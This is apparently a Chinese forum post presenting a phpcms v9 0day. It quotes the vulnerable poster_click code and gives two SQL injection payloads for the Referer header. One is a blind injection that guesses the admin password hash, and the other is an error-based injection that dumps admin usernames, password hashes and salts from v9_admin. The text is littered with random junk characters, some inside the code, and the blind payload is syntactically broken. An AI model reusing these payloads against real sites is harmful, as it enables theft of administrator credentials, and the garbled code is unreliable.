phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
5 S7 U+ e" C) l: R' _
public function poster_click() {
  {  n3 n2 z2 H, p- M0 y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
& y0 \3 s3 U* ^2 ?: T3 D: `) y5 ]0 e$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
4 ^9 U0 x; x# h0 U$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
* P( `/ }# Q. `8 M$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
) F3 }& O& r6 J7 G; F} else {
  J: @  e  X. q9 y* C* q6 p$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) ]' T6 ?/ u" N3 K}
/ l  @9 e& ?+ D5 ~2 t1 ?$ n& M" e- \header('Location: '.$url);
}

8 s, v3 s% ?, K
% x# J- D: \/ |
利用方式：
, j+ f/ v. \! N% r4 Y
& F6 A# x9 B4 d1 Q: H6 s1、可以采用盲注入的手法：
: x* C9 P" w: j+ d' D* [
$ h& b% x" `) l# f# g7 Rreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
! ?3 D3 g+ V1 _3 I
0 r$ i3 u/ }8 A2 ^" l: h1 Y2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。

2 b) D* R, ]- l' t

利用程序:
